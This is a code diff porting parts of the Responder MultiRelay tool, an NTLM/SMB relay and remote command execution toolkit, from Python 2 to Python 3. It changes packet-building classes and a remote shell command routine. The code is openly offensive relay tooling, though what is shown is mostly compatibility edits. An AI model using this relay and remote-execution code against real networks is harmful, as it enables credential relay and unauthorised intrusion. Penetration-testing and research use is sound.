print "[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host." print("[Pivot Verification Failed]: This user doesn't have enough privileges on "+Pivot[0]+" to pivot. Try another host.")
del Cmd[:] del Cmd[:]
del Pivot[:] del Pivot[:]
else: else:
print RunAsFileName+" does not exist, please specify a valid file." print(RunAsFileName+" does not exist, please specify a valid file.")
del Cmd[:] del Cmd[:]
if Scan: if Scan:
@@ -762,19 +790,20 @@ def RunShellCmd(data, s, clientIP, Target, Username, Domain):
data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName) data = RunCmd(data, s, clientIP, Username, Domain, Cmd[0], Logs, Target[0], RunPath,FileName)
del Cmd[:] del Cmd[:]
else: else:
print SysSVCFileName+" does not exist, please specify a valid file." print(SysSVCFileName+" does not exist, please specify a valid file.")
del Cmd[:] del Cmd[:]
if isinstance(data, str):
data = data.encode('latin-1')
if data is None: if data is None:
print "\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n" print("\033[1;31m\nSomething went wrong, the server dropped the connection.\nMake sure (\\Windows\\Temp\\) is clean on the server\033[0m\n")
if data[8:10] == "\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop. if data[8:10] == b"\x2d\x34":#We confirmed with OpenAndX that no file remains after the execution of the last command. We send a tree connect IPC and land at the begining of the command loop.
head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32],uid=data[32:34],tid=data[28:30]) head = SMBHeader(cmd="\x75",flag1="\x18", flag2="\x07\xc8",mid="\x04\x00",pid=data[30:32].decode('latin-1'),uid=data[32:34].decode('latin-1'),tid=data[28:30].decode('latin-1'))
t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")# t = SMBTreeConnectData(Path="\\\\"+Target[0]+"\\IPC$")#
t.calculate() t.calculate()
packet1 = str(head)+str(t) packet1 = str(head)+str(t)
buffer1 = longueur(packet1)+packet1 buffer1 = longueur(packet1)+packet1
s.send(buffer1) s.send(NetworkSendBufferPython2or3(buffer1))
data = s.recv(2048) data = s.recv(2048)
class ThreadingTCPServer(TCPServer): class ThreadingTCPServer(TCPServer):
@@ -789,7 +818,7 @@ def serve_thread_tcp(host, port, handler):
server = ThreadingTCPServer((host, port), handler) server = ThreadingTCPServer((host, port), handler)
server.serve_forever() server.serve_forever()
except: except:
print color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1) print(color('Error starting TCP server on port '+str(port)+ ', check permissions or other servers running.', 1, 1))
def main(): def main():
try: try:

1098
tools/MultiRelay/RelayMultiCore.py
View File

File diff suppressed because it is too large Load Diff

204
tools/MultiRelay/RelayMultiPackets.py
View File

@@ -1,4 +1,5 @@
#!/usr/bin/env python #!/usr/bin/env python
# -*- coding: latin-1 -*-
# This file is part of Responder, a network take-over set of tools # This file is part of Responder, a network take-over set of tools
# created and maintained by Laurent Gaffie. # created and maintained by Laurent Gaffie.
# email: laurent.gaffie@gmail.com # email: laurent.gaffie@gmail.com
@@ -16,10 +17,12 @@
# along with this program. If not, see <http://www.gnu.org/licenses/>. # along with this program. If not, see <http://www.gnu.org/licenses/>.
import struct import struct
import os import os
import sys
from odict import OrderedDict from odict import OrderedDict
import datetime import datetime
from base64 import b64decode, b64encode from base64 import b64decode, b64encode
# Packet class handling all packet generation (see odict.py).
class Packet(): class Packet():
fields = OrderedDict([ fields = OrderedDict([
("data", ""), ("data", ""),
@@ -34,6 +37,19 @@ class Packet():
def __str__(self): def __str__(self):
return "".join(map(str, self.fields.values())) return "".join(map(str, self.fields.values()))
#Python version
if (sys.version_info > (3, 0)):
PY2OR3 = "PY3"
else:
PY2OR3 = "PY2"
def StructWithLenPython2or3(endian,data):
#Python2...
if PY2OR3 is "PY2":
return struct.pack(endian, data)
#Python3...
else:
return struct.pack(endian, data).decode('latin-1')
##################HTTP Proxy Relay########################## ##################HTTP Proxy Relay##########################
def HTTPCurrentDate(): def HTTPCurrentDate():
@@ -145,18 +161,16 @@ class WEBDAV_Options_Answer(Packet):
##################SMB Relay Packet############################ ##################SMB Relay Packet############################
def midcalc(data): #Set MID SMB Header field. def midcalc(data): #Set MID SMB Header field.
return data[34:36] return data[34:36].decode('latin-1')
def uidcalc(data): #Set UID SMB Header field. def uidcalc(data): #Set UID SMB Header field.
return data[32:34] return data[32:34].decode('latin-1')
def pidcalc(data): #Set PID SMB Header field. def pidcalc(data): #Set PID SMB Header field.
pack=data[30:32] return data[30:32].decode('latin-1')
return pack
def tidcalc(data): #Set TID SMB Header field. def tidcalc(data): #Set TID SMB Header field.
pack=data[28:30] return data[28:30].decode('latin-1')
return pack
#Response packet. #Response packet.
class SMBRelayNegoAns(Packet): class SMBRelayNegoAns(Packet):
@@ -174,7 +188,7 @@ class SMBRelayNegoAns(Packet):
("SrvTimeZone", "\xf0\x00"), ("SrvTimeZone", "\xf0\x00"),
("KeyLen", "\x00"), ("KeyLen", "\x00"),
("Bcc", "\x10\x00"), ("Bcc", "\x10\x00"),
("Guid", os.urandom(16)), ("Guid", os.urandom(16).decode('latin-1')),
]) ])
##Response packet. ##Response packet.
@@ -239,7 +253,7 @@ class SMBNegoCairo(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<H",len(str(self.fields["Data"])))
class SMBNegoCairoData(Packet): class SMBNegoCairoData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -294,8 +308,8 @@ class SMBSessionSetupAndxNEGO(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le') self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le').decode('latin-1')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le') self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le').decode('latin-1')
CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) CompleteSMBPacketLen = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["AndXOffset"])+str(self.fields["MaxBuff"])+str(self.fields["MaxMPX"])+str(self.fields["VCNumber"])+str(self.fields["SessionKey"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"])+str(self.fields["Capabilities"])+str(self.fields["Bcc"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["Data"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
@@ -317,29 +331,29 @@ class SMBSessionSetupAndxNEGO(Packet):
## Packet len ## Packet len
self.fields["AndXOffset"] = struct.pack("<h", len(CompleteSMBPacketLen)+32) self.fields["AndXOffset"] = StructWithLenPython2or3("<h", len(CompleteSMBPacketLen)+32)
##Buff Len ##Buff Len
self.fields["SecBlobLen"] = struct.pack("<h", len(SecBlobLen)) self.fields["SecBlobLen"] = StructWithLenPython2or3("<h", len(SecBlobLen))
##Complete Buff Len ##Complete Buff Len
self.fields["Bcc"] = struct.pack("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27. self.fields["Bcc"] = StructWithLenPython2or3("<h", len(CompleteSMBPacketLen)-27)#session setup struct is 27.
##App Header ##App Header
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(SecBlobLen)-2) self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3("<B", len(SecBlobLen)-2)
##Asn Field 1 ##Asn Field 1
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"]))) self.fields["AsnSecMechLen"] = StructWithLenPython2or3("<B", len(str(self.fields["AsnSecMechStr"])))
##Asn Field 1 ##Asn Field 1
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3)) self.fields["ChoosedTagStrLen"] = StructWithLenPython2or3("<B", len(data3))
##SpNegoTokenLen ##SpNegoTokenLen
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4)) self.fields["NegTokenInitSeqHeadLen"] = StructWithLenPython2or3("<B", len(data4))
##NegoTokenInit ##NegoTokenInit
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10)) self.fields["NegTokenInitSeqHeadLen1"] = StructWithLenPython2or3("<B", len(data10))
## Tag0 Len ## Tag0 Len
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11)) self.fields["NegTokenInitSeqNLMPLen"] = StructWithLenPython2or3("<B", len(data11))
## Tag0 Str Len ## Tag0 Str Len
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"]))) self.fields["NegTokenInitSeqNLMPTag1Len"] = StructWithLenPython2or3("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
## Tag2 Len ## Tag2 Len
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6)) self.fields["NegTokenInitSeqNLMPTag2Len"] = StructWithLenPython2or3("<B", len(data6))
## Tag3 Len ## Tag3 Len
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(str(self.fields["Data"]))) self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = StructWithLenPython2or3("<B", len(str(self.fields["Data"])))
class SMBSessionSetupAndxAUTH(Packet): class SMBSessionSetupAndxAUTH(Packet):
@@ -382,8 +396,8 @@ class SMBSessionSetupAndxAUTH(Packet):
def calculate(self): def calculate(self):
self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le') self.fields["NativeOs"] = self.fields["NativeOs"].encode('utf-16le').decode('latin-1')
self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le') self.fields["NativeLan"] = self.fields["NativeLan"].encode('utf-16le').decode('latin-1')
SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) SecurityBlobLen = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
@@ -391,42 +405,42 @@ class SMBSessionSetupAndxAUTH(Packet):
###### ASN Stuff ###### ASN Stuff
if len(NTLMData) > 255: if len(NTLMData) > 255:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x82" self.fields["ApplicationHeaderTagLenOfLen"] = "\x82"
self.fields["ApplicationHeaderLen"] = struct.pack(">H", len(SecurityBlobLen)-0) self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-0)
else: else:
self.fields["ApplicationHeaderTagLenOfLen"] = "\x81" self.fields["ApplicationHeaderTagLenOfLen"] = "\x81"
self.fields["ApplicationHeaderLen"] = struct.pack(">B", len(SecurityBlobLen)-3) self.fields["ApplicationHeaderLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-3)
if len(NTLMData)-8 > 255: if len(NTLMData)-8 > 255:
self.fields["AsnSecMechLenOfLen"] = "\x82" self.fields["AsnSecMechLenOfLen"] = "\x82"
self.fields["AsnSecMechLen"] = struct.pack(">H", len(SecurityBlobLen)-4) self.fields["AsnSecMechLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-4)
else: else:
self.fields["AsnSecMechLenOfLen"] = "\x81" self.fields["AsnSecMechLenOfLen"] = "\x81"
self.fields["AsnSecMechLen"] = struct.pack(">B", len(SecurityBlobLen)-6) self.fields["AsnSecMechLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-6)
if len(NTLMData)-12 > 255: if len(NTLMData)-12 > 255:
self.fields["ChoosedTagLenOfLen"] = "\x82" self.fields["ChoosedTagLenOfLen"] = "\x82"
self.fields["ChoosedTagLen"] = struct.pack(">H", len(SecurityBlobLen)-8) self.fields["ChoosedTagLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-8)
else: else:
self.fields["ChoosedTagLenOfLen"] = "\x81" self.fields["ChoosedTagLenOfLen"] = "\x81"
self.fields["ChoosedTagLen"] = struct.pack(">B", len(SecurityBlobLen)-9) self.fields["ChoosedTagLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-9)
if len(NTLMData)-16 > 255: if len(NTLMData)-16 > 255:
self.fields["ChoosedTag1StrLenOfLen"] = "\x82" self.fields["ChoosedTag1StrLenOfLen"] = "\x82"
self.fields["ChoosedTag1StrLen"] = struct.pack(">H", len(SecurityBlobLen)-12) self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3(">H", len(SecurityBlobLen)-12)
else: else:
self.fields["ChoosedTag1StrLenOfLen"] = "\x81" self.fields["ChoosedTag1StrLenOfLen"] = "\x81"
self.fields["ChoosedTag1StrLen"] = struct.pack(">B", len(SecurityBlobLen)-12) self.fields["ChoosedTag1StrLen"] = StructWithLenPython2or3(">B", len(SecurityBlobLen)-12)
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"]) CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])+str(self.fields["NLMPAuthMsgNull"])+str(self.fields["NativeOs"])+str(self.fields["NativeOsTerminator"])+str(self.fields["ExtraNull"])+str(self.fields["NativeLan"])+str(self.fields["NativeLanTerminator"])
SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"]) SecurityBlobLenUpdated = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderTagLenOfLen"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLenOfLen"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLenOfLen"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLenOfLen"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["Data"])
## Packet len ## Packet len
self.fields["andxoffset"] = struct.pack("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32 self.fields["andxoffset"] = StructWithLenPython2or3("<h", len(CompletePacketLen)+32) #SMB1 Header is always 32
##Buff Len ##Buff Len
self.fields["securitybloblength"] = struct.pack("<h", len(SecurityBlobLenUpdated)) self.fields["securitybloblength"] = StructWithLenPython2or3("<h", len(SecurityBlobLenUpdated))
##Complete Buff Len ##Complete Buff Len
self.fields["bcc1"] = struct.pack("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27. self.fields["bcc1"] = StructWithLenPython2or3("<h", len(CompletePacketLen)-27) #SessionSetup struct is 27.
class SMBTreeConnectData(Packet): class SMBTreeConnectData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -446,19 +460,19 @@ class SMBTreeConnectData(Packet):
]) ])
def calculate(self): def calculate(self):
##Convert Path to Unicode first before any Len calc. ##Convert Path to Unicode first before any Len calc.
self.fields["Path"] = self.fields["Path"].encode('utf-16le') self.fields["Path"] = self.fields["Path"].encode('utf-16le').decode('latin-1')
##Passwd Len ##Passwd Len
self.fields["PasswdLen"] = struct.pack("<i", len(str(self.fields["Passwd"])))[:2] self.fields["PasswdLen"] = StructWithLenPython2or3("<i", len(str(self.fields["Passwd"])))[:2]
##Packet len ##Packet len
CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) CompletePacket = str(self.fields["Wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["Reserved"])+str(self.fields["Andxoffset"])+str(self.fields["Flags"])+str(self.fields["PasswdLen"])+str(self.fields["Bcc"])+str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Andxoffset"] = struct.pack("<i", len(CompletePacket)+32)[:2] self.fields["Andxoffset"] = StructWithLenPython2or3("<i", len(CompletePacket)+32)[:2]
##Bcc Buff Len ##Bcc Buff Len
BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"]) BccComplete = str(self.fields["Passwd"])+str(self.fields["Path"])+str(self.fields["PathTerminator"])+str(self.fields["Service"])+str(self.fields["Terminator"])
self.fields["Bcc"] = struct.pack("<i", len(BccComplete))[:2] self.fields["Bcc"] = StructWithLenPython2or3("<i", len(BccComplete))[:2]
class SMBTreeDisconnect(Packet): class SMBTreeDisconnect(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -492,8 +506,8 @@ class SMBNTCreateData(Packet):
def calculate(self): def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"]) Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"]))) self.fields["FileNameLen"] = StructWithLenPython2or3("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(Data1))
class SMBNTCreateDataSVCCTL(Packet): class SMBNTCreateDataSVCCTL(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -520,8 +534,8 @@ class SMBNTCreateDataSVCCTL(Packet):
def calculate(self): def calculate(self):
Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"]) Data1= str(self.fields["FileName"])+str(self.fields["FileNameNull"])
self.fields["FileNameLen"] = struct.pack("<h",len(str(self.fields["FileName"]))) self.fields["FileNameLen"] = StructWithLenPython2or3("<h",len(str(self.fields["FileName"])))
self.fields["Bcc"] = struct.pack("<h",len(Data1)) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(Data1))
class SMBLockingAndXResponse(Packet): class SMBLockingAndXResponse(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -550,7 +564,7 @@ class SMBReadData(Packet):
def calculate(self): def calculate(self):
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
class SMBWriteData(Packet): class SMBWriteData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -574,8 +588,8 @@ class SMBWriteData(Packet):
def calculate(self): def calculate(self):
self.fields["DataLenLow"] = struct.pack("<H",len(str(self.fields["Data"]))) self.fields["DataLenLow"] = StructWithLenPython2or3("<H",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<H",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<H",len(str(self.fields["Data"])))
class SMBDCERPCWriteData(Packet): class SMBDCERPCWriteData(Packet):
fields = OrderedDict([ fields = OrderedDict([
@@ -597,9 +611,9 @@ class SMBDCERPCWriteData(Packet):
]) ])
def calculate(self): def calculate(self):
self.fields["Remaining"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Remaining"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["DataLenLow"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["DataLenLow"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
self.fields["Bcc"] = struct.pack("<h",len(str(self.fields["Data"]))) self.fields["Bcc"] = StructWithLenPython2or3("<h",len(str(self.fields["Data"])))
@@ -637,20 +651,20 @@ class SMBTransDCERPC(Packet):
else: else:
self.fields["PipeTerminator"] = "\x00\x00\x00" self.fields["PipeTerminator"] = "\x00\x00\x00"
##Convert Path to Unicode first before any Len calc. ##Convert Path to Unicode first before any Len calc.
self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le') self.fields["PipeName"] = self.fields["PipeName"].encode('utf-16le').decode('latin-1')
##Data Len ##Data Len
self.fields["TotalDataCount"] = struct.pack("<h", len(str(self.fields["Data"]))) self.fields["TotalDataCount"] = StructWithLenPython2or3("<h", len(str(self.fields["Data"])))
self.fields["DataCount"] = struct.pack("<h", len(str(self.fields["Data"]))) self.fields["DataCount"] = StructWithLenPython2or3("<h", len(str(self.fields["Data"])))
##Packet len ##Packet len
FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["OpNum"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"]) FindRAPOffset = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved1"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved2"])+str(self.fields["OpNum"])+str(self.fields["FID"])+str(self.fields["Bcc"])+str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])
self.fields["ParamOffset"] = struct.pack("<h", len(FindRAPOffset)+32) self.fields["ParamOffset"] = StructWithLenPython2or3("<h", len(FindRAPOffset)+32)
self.fields["DataOffset"] = struct.pack("<h", len(FindRAPOffset)+32) self.fields["DataOffset"] = StructWithLenPython2or3("<h", len(FindRAPOffset)+32)
##Bcc Buff Len ##Bcc Buff Len
BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"]) BccComplete = str(self.fields["Terminator"])+str(self.fields["PipeName"])+str(self.fields["PipeTerminator"])+str(self.fields["Data"])
self.fields["Bcc"] = struct.pack("<h", len(BccComplete)) self.fields["Bcc"] = StructWithLenPython2or3("<h", len(BccComplete))
class SMBDCEData(Packet): class SMBDCEData(Packet):
@@ -682,7 +696,7 @@ class SMBDCEData(Packet):
Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"]) Data1= str(self.fields["Version"])+str(self.fields["VersionLow"])+str(self.fields["PacketType"])+str(self.fields["PacketFlag"])+str(self.fields["DataRepresent"])+str(self.fields["FragLen"])+str(self.fields["AuthLen"])+str(self.fields["CallID"])+str(self.fields["MaxTransFrag"])+str(self.fields["MaxRecvFrag"])+str(self.fields["GroupAssoc"])+str(self.fields["CTXNumber"])+str(self.fields["CTXPadding"])+str(self.fields["CTX0ContextID"])+str(self.fields["CTX0ItemNumber"])+str(self.fields["CTX0UID"])+str(self.fields["CTX0UIDVersion"])+str(self.fields["CTX0UIDVersionlo"])+str(self.fields["CTX0UIDSyntax"])+str(self.fields["CTX0UIDSyntaxVer"])
self.fields["FragLen"] = struct.pack("<h",len(Data1)) self.fields["FragLen"] = StructWithLenPython2or3("<h",len(Data1))
class SMBDCEPacketData(Packet): class SMBDCEPacketData(Packet):
